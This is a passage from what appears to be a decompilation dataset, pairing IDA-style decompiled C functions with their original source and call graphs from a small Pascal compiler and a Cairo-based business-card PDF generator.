0xA:\nputs(\"ARG\");\nbreak;\ncase 0xB:\nputs(\"CALL\");\nbreak;\ncase 0xC:\nputs(\"RETURN\");\nbreak;\ncase 0xD:\nputs(\"MOD\");\nbreak;\ncase 0xE:\nputs(\"AND\");\nbreak;\ncase 0xF:\nputs(\"OR\");\nbreak;\ncase 0x11:\nputs(\"POS\");\nbreak;\ncase 0x12:\nputs(\"NOT\");\nbreak;\ncase 0x13:\nputs(\"LABEL\");\nbreak;\ncase 0x14:\nputs(\"VAR\");\nbreak;\ncase 0x15:\nputs(\"BEGINFUNC\");\nbreak;\ncase 0x16:\nputs(\"ENDFUNC\");\nbreak;\ncase 0x17:\nputs(\"MAIN_ID_LIST\");\nbreak;\ncase 0x18:\ncase 0x1A:\nputs(\"BEGINPROC\");\nbreak;\ncase 0x19:\ncase 0x1B:\nputs(\"ENDPROC\");\nbreak;\ncase 0x1C:\nputs(\"LESSTHAN\");\nbreak;\ncase 0x1D:\nputs(\"GRTRTHAN\");\nbreak;\ncase 0x1E:\nputs(\"NE\");\nbreak;\ncase 0x1F:\nputs(\"LE\");\nbreak;\ncase 0x20:\nputs(\"GE\");\nbreak;\ncase 0x21:\nputs(\"EQUAL\");\nbreak;\ncase 0x22:\nputs(\"OFFSET\");\nbreak;\ncase 0x23:\nputs(\"PRINT\");\nbreak;\ndefault:\nfunc0(\"unknown TAC opcode\");\nbreak;\n}\nprintf(\" instruction: \");\nswitch ( *(_DWORD *)(a1 + 16) )\n{\ncase 0:\nresult = puts(\"undef\");\nbreak;\ncase 1:\nv2 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv3 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv4 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s + %s\\n\", v4, v3, v2);\nbreak;\ncase 2:\nv5 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv6 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv7 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s - %s\\n\", v7, v6, v5);\nbreak;\ncase 3:\nv8 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv9 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv10 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s * %s\\n\", v10, v9, v8);\nbreak;\ncase 4:\nv11 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv12 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv13 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s / %s\\n\", v13, v12, v11);\nbreak;\ncase 5:\nv14 = (const char *)func6(*(_QWORD *)(a1 + 40), v65);\nv15 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s\\n\", v15, v14);\nbreak;\ncase 6:\nv16 = (const char *)func6(*(_QWORD *)(a1 + 32), v66);\nv17 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s\\n\", v17, v16);\nbreak;\ncase 7:\nresult = printf(\"goto L%d\\n\", *(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL));\nbreak;\ncase 8:\nv18 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL);\nv19 = (const char *)func6(*(_QWORD *)(a1 + 32), v66);\nresult = printf(\"ifz %s goto L%d\\n\", v19, v18);\nbreak;\ncase 9:\nv20 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 24) + 24LL) + 76LL);\nv21 = (const char *)func6(*(_QWORD *)(a1 + 32), v66);\nresult = printf(\"ifnz %s goto L%d\\n\", v21, v20);\nbreak;\ncase 0xA:\nv22 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"arg %s\\n\", v22);\nbreak;\ncase 0xB:\nif ( *(_QWORD *)(a1 + 24) )\n{\nv23 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 32) + 24LL) + 76LL);\nv24 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s = call L%d\\n\", v24, v23);\n}\nelse\n{\nresult = printf(\"call L%d\\n\", *(unsigned int *)(*(_QWORD *)(*(_QWORD *)(a1 + 32) + 24LL) + 76LL));\n}\nbreak;\ncase 0xC:\nv25 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"return %s\\n\", v25);\nbreak;\ncase 0xD:\nv27 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv28 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv29 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s MOD %s\\n\", v29, v28, v27);\nbreak;\ncase 0xE:\nv30 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv31 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv32 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s AND %s\\n\", v32, v31, v30);\nbreak;\ncase 0xF:\nv33 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv34 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv35 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s OR %s\\n\", v35, v34, v33);\nbreak;\ncase 0x10:\nv36 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv37 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv38 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s DIV %s\\n\", v38, v37, v36);\nbreak;\ncase 0x11:\nv39 = (const char *)func6(*(_QWORD *)(a1 + 40), v65);\nv40 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := + %s\\n\", v40, v39);\nbreak;\ncase 0x12:\nv41 = (const char *)func6(*(_QWORD *)(a1 + 40), v65);\nv42 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := NOT( %s )\\n\", v42, v41);\nbreak;\ncase 0x13:\nresult = printf(\"label L%d\\n\", *(unsigned int *)(*(_QWORD *)(a1 + 24) + 76LL));\nbreak;\ncase 0x14:\nv26 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"var %s\\n\", v26);\nbreak;\ncase 0x15:\nresult = puts(\"beginfunc\");\nbreak;\ncase 0x16:\nresult = puts(\"endfunc\");\nbreak;\ncase 0x17:\nresult = puts(\"main_identifier_list\");\nbreak;\ncase 0x18:\nresult = puts(\"beginproc\");\nbreak;\ncase 0x19:\nresult = puts(\"endproc\");\nbreak;\ncase 0x1A:\nresult = puts(\"beginprog\");\nbreak;\ncase 0x1B:\nresult = puts(\"endprog\");\nbreak;\ncase 0x1C:\nv58 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv59 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv60 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s < %s )\\n\", v60, v59, v58);\nbreak;\ncase 0x1D:\nv55 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv56 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv57 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s > %s )\\n\", v57, v56, v55);\nbreak;\ncase 0x1E:\nv46 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv47 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv48 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s <> %s )\\n\", v48, v47, v46);\nbreak;\ncase 0x1F:\nv49 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv50 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv51 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s <= %s )\\n\", v51, v50, v49);\nbreak;\ncase 0x20:\nv52 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv53 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv54 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s >= %s )\\n\", v54, v53, v52);\nbreak;\ncase 0x21:\nv43 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv44 = (const char *)func6(*(_QWORD *)(a1 + 40), v66);\nv45 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := ( %s = %s )\\n\", v45, v44, v43);\nbreak;\ncase 0x22:\nv61 = (const char *)func6(*(_QWORD *)(a1 + 32), v65);\nv62 = (const char *)func6(*(_QWORD *)(a1 + 32), v66);\nv63 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"%s := %s[%s]\\n\", v63, v62, v61);\nbreak;\ncase 0x23:\nv64 = (const char *)func6(*(_QWORD *)(a1 + 24), v67);\nresult = printf(\"print %s\\n\", v64);\nbreak;\ndefault:\nfunc0(\"print_tac(): unknown TAC opcode\");\nresult = printf(\"unknown %d\\n\", *(unsigned int *)(a1 + 16));\nbreak;\n}\nreturn result;\n}" ], [ "ts", "int __fastcall func6(__int64 a1, char *a2)\n{\n__int64 v2; // rax\n\nif ( !a1 )\nreturn (int)\"NULL\";\nswitch ( *(_DWORD *)(a1 + 52) )\n{\ncase 1:\nv2 = *(_QWORD *)(a1 + 112);\nbreak;\ncase 3:\nv2 = *(_QWORD *)(a1 + 112);\nbreak;\ncase 4:\nsprintf(a2, \"%d\", *(unsigned int *)(a1 + 76));\nLODWORD(v2) = (_DWORD)a2;\nbreak;\ncase 6:\nsprintf(a2, \"%lf\", *(double *)(a1 + 96));\nLODWORD(v2) = (_DWORD)a2;\nbreak;\ncase 7:\ncase 0x13:\ncase 0x14:\nsprintf(a2, \"%s\", *(const char **)(a1 + 112));\nLODWORD(v2) = (_DWORD)a2;\nbreak;\ndefault:\nLODWORD(v2) = printf(\"ts(): unknown TAC arg type, symb name: %s\", *(const char **)(a1 + 112));\nbreak;\n}\nreturn v2;\n}" ] ]
[ { "name": "error", "canonical_name": "func0", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "int __fastcall error(const char *a1)\n{\nreturn fprintf(stderr, \"Compiler: %s\\n\", a1);\n}\n", "canonical_decompiled_code": "int __fastcall func0(const char *a1)\n{\nreturn fprintf(stderr, \"Compiler: %s\\n\", a1);\n}", "original_code": "void error(char* s){\n fprintf(stderr, \"Compiler: %s\\n\", s);\n}", "canonical_original_code": "void error(char *s){\n fprintf(stderr, \"Compiler: %s\\n\", s);\n}", "variable_types": [ [ "s", "char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "f2fc6fb822e1a1af34538433af2d03c912756d1707331ea0b5157e612eab0bd9" }, { "name": "safe_malloc", "canonical_name": "func1", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "void *__fastcall safe_malloc(int a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\n{\nerror(\"malloc() failed\");\nexit(0);\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "void *__fastcall func1(int a1)\n{\nvoid *v2; // [rsp+18h] [rbp-8h]\n\nv2 = malloc(a1);\nif ( !v2 )\n{\nfunc0(\"malloc() failed\");\nexit(0);\n}\nreturn v2;\n}", "original_code": "void *safe_malloc(int n){\n void *t = malloc(n);\n if(t == ((void *)0)){\n error(\"malloc() failed\");\n exit(0);\n }\n return t;\n}", "canonical_original_code": "void *safe_malloc(int n){\n void *t = malloc(n);\n if(t == ((void *)0)){\n error(\"malloc() failed\");\n exit(0);\n }\n return t;\n}", "variable_types": [ [ "n", "int" ], [ "t", "void *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "f2fc6fb822e1a1af34538433af2d03c912756d1707331ea0b5157e612eab0bd9" }, { "name": "token_to_string", "canonical_name": "func4", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "const char *__fastcall token_to_string(int a1)\n{\nconst char *result; // rax\n\nswitch ( a1 )\n{\ncase 0:\nresult = \"T_UNDEF\";\nbreak;\ncase 1:\nresult = \"T_VAR\";\nbreak;\ncase 2:\nresult = \"T_PROC\";\nbreak;\ncase 3:\nresult = \"T_FUNC\";\nbreak;\ncase 4:\nresult = \"T_INT\";\nbreak;\ncase 5:\nresult = \"T_LABEL\";\nbreak;\ncase 6:\nresult = \"T_REAL\";\nbreak;\ncase 7:\nresult = \"T_ARRAY\";\nbreak;\ncase 8:\nresult = \"T_STRING\";\nbreak;\ncase 9:\nresult = \"T_BOOL\";\nbreak;\ncase 10:\nresult = \"T_SPECIAL\";\nbreak;\ncase 11:\nresult = \"T_PROGRAM\";\nbreak;\ncase 12:\nresult = \"T_NOT_LOCAL\";\nbreak;\ncase 13:\nresult = \"T_PARAM\";\nbreak;\ncase 14:\nresult = \"T_ARG\";\nbreak;\ncase 15:\nresult = \"T_LOCAL\";\nbreak;\ncase 16:\nresult = \"T_FILE\";\nbreak;\ncase 17:\nresult = \"T_CONSTANT\";\nbreak;\ncase 18:\nresult = \"T_SELF\";\nbreak;\ncase 19:\nresult = \"T_TEMP\";\nbreak;\ncase 20:\nresult = \"T_RETURN\";\nbreak;\ndefault:\nresult = \"ERROR NO TYPE\";\nbreak;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "const char *__fastcall func4(int a1)\n{\nconst char *result; // rax\n\nswitch ( a1 )\n{\ncase 0:\nresult = \"T_UNDEF\";\nbreak;\ncase 1:\nresult = \"T_VAR\";\nbreak;\ncase 2:\nresult = \"T_PROC\";\nbreak;\ncase 3:\nresult = \"T_FUNC\";\nbreak;\ncase 4:\nresult = \"T_INT\";\nbreak;\ncase 5:\nresult = \"T_LABEL\";\nbreak;\ncase 6:\nresult = \"T_REAL\";\nbreak;\ncase 7:\nresult = \"T_ARRAY\";\nbreak;\ncase 8:\nresult = \"T_STRING\";\nbreak;\ncase 9:\nresult = \"T_BOOL\";\nbreak;\ncase 10:\nresult = \"T_SPECIAL\";\nbreak;\ncase 11:\nresult = \"T_PROGRAM\";\nbreak;\ncase 12:\nresult = \"T_NOT_LOCAL\";\nbreak;\ncase 13:\nresult = \"T_PARAM\";\nbreak;\ncase 14:\nresult = \"T_ARG\";\nbreak;\ncase 15:\nresult = \"T_LOCAL\";\nbreak;\ncase 16:\nresult = \"T_FILE\";\nbreak;\ncase 17:\nresult = \"T_CONSTANT\";\nbreak;\ncase 18:\nresult = \"T_SELF\";\nbreak;\ncase 19:\nresult = \"T_TEMP\";\nbreak;\ncase 20:\nresult = \"T_RETURN\";\nbreak;\ndefault:\nresult = \"ERROR NO TYPE\";\nbreak;\n}\nreturn result;\n}", "original_code": "char *token_to_string(int token){\n switch (token){\n case 0:\n return \"T_UNDEF\";\n case 1:\n return \"T_VAR\";\n case 2:\n return \"T_PROC\";\n case 3:\n return \"T_FUNC\";\n case 4:\n return \"T_INT\";\n case 5:\n return \"T_LABEL\";\n case 6:\n return \"T_REAL\";\n case 7:\n return \"T_ARRAY\";\n case 8:\n return \"T_STRING\";\n case 9:\n return \"T_BOOL\";\n case 10:\n return \"T_SPECIAL\";\n case 11:\n return \"T_PROGRAM\";\n case 12:\n return \"T_NOT_LOCAL\";\n case 13:\n return \"T_PARAM\";\n case 14:\n return \"T_ARG\";\n case 15:\n return \"T_LOCAL\";\n case 16:\n return \"T_FILE\";\n case 17:\n return \"T_CONSTANT\";\n case 18:\n return \"T_SELF\";\n case 19:\n return \"T_TEMP\";\n case 20:\n return \"T_RETURN\";\n default:\n return \"ERROR NO TYPE\";\n }\n}", "canonical_original_code": "char *token_to_string(int token){\n switch (token){\n case 0:\n return \"T_UNDEF\";\n case 1:\n return \"T_VAR\";\n case 2:\n return \"T_PROC\";\n case 3:\n return \"T_FUNC\";\n case 4:\n return \"T_INT\";\n case 5:\n return \"T_LABEL\";\n case 6:\n return \"T_REAL\";\n case 7:\n return \"T_ARRAY\";\n case 8:\n return \"T_STRING\";\n case 9:\n return \"T_BOOL\";\n case 10:\n return \"T_SPECIAL\";\n case 11:\n return \"T_PROGRAM\";\n case 12:\n return \"T_NOT_LOCAL\";\n case 13:\n return \"T_PARAM\";\n case 14:\n return \"T_ARG\";\n case 15:\n return \"T_LOCAL\";\n case 16:\n return \"T_FILE\";\n case 17:\n return \"T_CONSTANT\";\n case 18:\n return \"T_SELF\";\n case 19:\n return \"T_TEMP\";\n case 20:\n return \"T_RETURN\";\n default:\n return \"ERROR NO TYPE\";\n }\n}", "variable_types": [ [ "token", "int" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "f2fc6fb822e1a1af34538433af2d03c912756d1707331ea0b5157e612eab0bd9" } ]
fe8677b84a1a1551d579bc0203fc4cbf567804a80f8e8147bfbfc3ed8ca17f4c
mikestaub/Pascal-Compiler
[ [ "init_stack", "->" ], [ "pop", "->", "empty_stack", "top" ], [ "top", "->", "pop", "push" ], [ "empty_stack", "->", "pop" ], [ "push", "->", "top" ] ]
[ [ "empty_stack", "_BOOL8 __fastcall func3(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 800) == a1;\n}" ] ]
[ { "name": "init_stack", "canonical_name": "func0", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall init_stack(__int64 a1)\n{\n*(_QWORD *)(a1 + 800) = a1;\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\n*(_QWORD *)(a1 + 800) = a1;\nreturn 0LL;\n}", "original_code": "extern status init_stack ( stack *p_S ) {\n p_S -> top = p_S -> base ;\n return OK ;\n}", "canonical_original_code": "extern enum status init_stack(struct stack *p_S) {\n p_S -> top = p_S -> base ;\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "fe8677b84a1a1551d579bc0203fc4cbf567804a80f8e8147bfbfc3ed8ca17f4c" }, { "name": "pop", "canonical_name": "func1", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall pop(__int64 a1, _QWORD *a2)\n{\nif ( (unsigned int)empty_stack(a1) == 1 )\nreturn 1LL;\n*(_QWORD *)(a1 + 800) -= 8LL;\n*a2 = **(_QWORD **)(a1 + 800);\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1, _QWORD *a2)\n{\nif ( (unsigned int)func3(a1) == 1 )\nreturn 1LL;\n*(_QWORD *)(a1 + 800) -= 8LL;\n*a2 = **(_QWORD **)(a1 + 800);\nreturn 0LL;\n}", "original_code": "extern status pop( stack *p_S , generic_ptr *p_data ) {\n if ( empty_stack ( p_S ) == TRUE ) return ERROR ;\n p_S -> top-- ;\n *p_data = *p_S->top ;\n return OK ;\n}", "canonical_original_code": "extern enum status pop(struct stack *p_S, void **p_data) {\n if ( empty_stack ( p_S ) == TRUE ) return ERROR ;\n p_S -> top-- ;\n *p_data = *p_S->top ;\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "p_data", "void **" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "fe8677b84a1a1551d579bc0203fc4cbf567804a80f8e8147bfbfc3ed8ca17f4c" }, { "name": "top", "canonical_name": "func2", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall top(__int64 a1, _QWORD *a2)\n{\n__int64 result; // rax\n\nif ( (unsigned int)pop(a1, a2) == 1 )\nresult = 1LL;\nelse\nresult = push(a1, *a2);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, _QWORD *a2)\n{\n__int64 result; // rax\n\nif ( (unsigned int)func1(a1, a2) == 1 )\nresult = 1LL;\nelse\nresult = func4(a1, *a2);\nreturn result;\n}", "original_code": "extern status top ( stack *p_S , generic_ptr *p_data ) {\n if ( pop ( p_S , p_data ) == ERROR ) return ERROR ;\n return push ( p_S , *p_data ) ;\n}", "canonical_original_code": "extern enum status top(struct stack *p_S, void **p_data) {\n if ( pop ( p_S , p_data ) == ERROR ) return ERROR ;\n return push ( p_S , *p_data ) ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "p_data", "void **" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "fe8677b84a1a1551d579bc0203fc4cbf567804a80f8e8147bfbfc3ed8ca17f4c" }, { "name": "push", "canonical_name": "func4", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall push(__int64 a1, __int64 a2)\n{\nif ( *(_QWORD *)(a1 + 800) - a1 == 800 )\nreturn 1LL;\n**(_QWORD **)(a1 + 800) = a2;\n*(_QWORD *)(a1 + 800) += 8LL;\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, __int64 a2)\n{\nif ( *(_QWORD *)(a1 + 800) - a1 == 800 )\nreturn 1LL;\n**(_QWORD **)(a1 + 800) = a2;\n*(_QWORD *)(a1 + 800) += 8LL;\nreturn 0LL;\n}", "original_code": "extern status push ( stack *p_S , generic_ptr data ) {\n if ( ( (p_S) -> top - (p_S) -> base ) == 100 )\n return ERROR ;\n *p_S -> top = data ;\n p_S -> top++ ;\n return OK ;\n}", "canonical_original_code": "extern enum status push(struct stack *p_S, void *data) {\n if ( ( (p_S) -> top - (p_S) -> base ) == 100 )\n return ERROR ;\n *p_S -> top = data ;\n p_S -> top++ ;\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "data", "void *" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "fe8677b84a1a1551d579bc0203fc4cbf567804a80f8e8147bfbfc3ed8ca17f4c" } ]
4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02
pacew/bcard
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "usage", "->", "main" ], [ "main", "->", "usage", "init_pdf", "setup_fonts", "draw_card" ], [ "setup_fonts", "->", "main", "setup_font" ], [ "draw_card", "->", "main", "set_gray", "setup_text", "draw_text" ], [ "init_pdf", "->", "main" ], [ "setup_font", "->", "setup_fonts" ], [ "set_font", "->", "setup_text" ], [ "setup_text", "->", "draw_card", "set_font" ], [ "draw_text", "->", "draw_card" ], [ "set_gray", "->", "draw_card", "set_black" ], [ "set_black", "->", "set_gray" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "int *func3()\n{\nreturn &optind;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "int *func5()\n{\nint *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "setup_font", "double *__fastcall func11(const char *a1, double a2)\n{\nchar *v2; // rax\nchar *v3; // rax\nchar s[1000]; // [rsp+10h] [rbp-3F0h] BYREF\ndouble *v6; // [rsp+3F8h] [rbp-8h]\n\nsprintf(s, \"%s %g\", a1, a2);\nv6 = (double *)calloc(1uLL, 0x20uLL);\nv2 = strdup(a1);\n*(_QWORD *)v6 = v2;\nv3 = strdup(s);\n*((_QWORD *)v6 + 1) = v3;\nv6[3] = a2;\n*((_QWORD *)v6 + 2) = pango_font_description_from_string();\nif ( !v6 )\n{\nfprintf(stderr, \"error setting up %s\\n\", MEMORY[8]);\nexit(1);\n}\nreturn v6;\n}" ], [ "set_font", "__int64 func12()\n{\nreturn pango_layout_set_font_description();\n}" ], [ "setup_text", "double *__fastcall func13(__int64 a1, const char *a2, double *a3, double *a4)\n{\ndouble *result; // rax\nint v7; // [rsp+28h] [rbp-8h]\nint v8; // [rsp+2Ch] [rbp-4h]\n\nfunc12(a1);\nstrlen(a2);\npango_layout_set_markup();\npango_layout_get_size();\n*a3 = (double)v8 / 1024.0;\nresult = a4;\n*a4 = (double)v7 / 1024.0;\nreturn result;\n}" ], [ "_libc_csu_init", "void __fastcall func17(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func18(void)\n{\n;\n}" ] ]
[ { "name": "usage", "canonical_name": "func7", "repo": "pacew/bcard", "decompiled_code": "void __noreturn usage()\n{\nfwrite(\"usage: bcard\\n\", 1uLL, 0xDuLL, stderr);\nexit(1);\n}\n", "canonical_decompiled_code": "void __noreturn func7()\n{\nfwrite(\"usage: bcard\\n\", 1uLL, 0xDuLL, stderr);\nexit(1);\n}", "original_code": "void\nusage (void)\n{\n fprintf (stderr, \"usage: bcard\\n\");\n exit (1);\n}", "canonical_original_code": "void usage()\n{\n fprintf (stderr, \"usage: bcard\\n\");\n exit (1);\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "4035e1b1b428449d045b52f454fca1a9a3c3eb0701e74205f09461122e6e8f02" }, { "name": "main", "canonical_name": "main", "repo": "pacew/bcard", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rdi\nint v5; // [rsp+2Ch] [rbp-14h]\nint j; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\n\nwhile ( 1 )\n{\nv5 = getopt(argc, (char *const *)argv, \"n\");\nif ( v5 == -1 )\nbreak;\nif ( v5 != 110 )\nusage();\ndraw_outline = 0;\n}\nif ( argc != optind )\nusage();\ninit_pdf(\"cards.pdf\");\nsetup_fonts();\ncode_surface = cairo_image_surface_create_from_png();\ncode_pattern = cairo_pattern_create_for_surface();\nfor ( i = 0; i <= 4; ++i )\n{\nfor ( j = 0; j <= 1; ++j )\n{\ncairo_save();\nv3 = cr;\ncairo_translate();\ndraw_card(v3, (double)j * 252.0 + 54.0, (double)(144 * i) + 36.0);\ncairo_restore();\n}\n}\ncairo_destroy();\ncairo_surface_flush();\ncairo_surface_destroy();\nprintf(\"evince %s\\n\", \"cards.pdf\");\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 v3; // rdi\nint v5; // [rsp+2Ch] [rbp-14h]\nint j; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\n\nwhile ( 1 )\n{\nv5 = getopt(argc, (char *const *)argv, \"n\");\nif ( v5 == -1 )\nbreak;\nif ( v5 != 110 )\nfunc7();\ndraw_outline = 0;\n}\nif ( argc != optind )\nfunc7();\nfunc10(\"cards.pdf\");\nfunc8();\ncode_surface = cairo_image_surface_create_from_png();\ncode_pattern = cairo_pattern_create_for_surface();\nfor ( i = 0; i <= 4; ++i )\n{\nfor ( j = 0; j <= 1; ++j )\n{\ncairo_save();\nv3 = cr;\ncairo_translate();\nfunc9(v3, (double)j * 252.0 + 54.0, (double)(144 * i) + 36.0);\ncairo_restore();\n}\n}\ncairo_destroy();\ncairo_surface_flush();\ncairo_surface_destroy();\nprintf(\"evince %s\\n\", \"cards.pdf\");\nreturn 0;\n}", "original_code": "int\nmain (int argc, char **argv)\n{\n int c;\n int row, col;\n double x, y;\n char *outname;\n outname = \"cards.pdf\";\n while ((c = getopt (argc, argv, \"n\")) != (-1)) {\n switch (c) {\n case 'n':\n draw_outline = 0;\n break;\n default:\n usage ();\n }\n }\n if (optind != argc)\n usage ();\n init_pdf (outname);\n setup_fonts ();\n code_surface\n = cairo_image_surface_create_from_png (\"code-med-high.png\");\n code_pattern = cairo_pattern_create_for_surface (code_surface);\n for (row = 0; row < 5; row++) {\n for (col = 0; col < 2; col++) {\n cairo_save (cr);\n x = (0.75 * 72) + col * (3.5 * 72);\n y = (0.5 * 72) + row * (2 * 72);\n cairo_translate (cr, x, y);\n draw_card ();\n cairo_restore (cr);\n }\n }\n cairo_destroy(cr);\n cairo_surface_flush(surface);\n 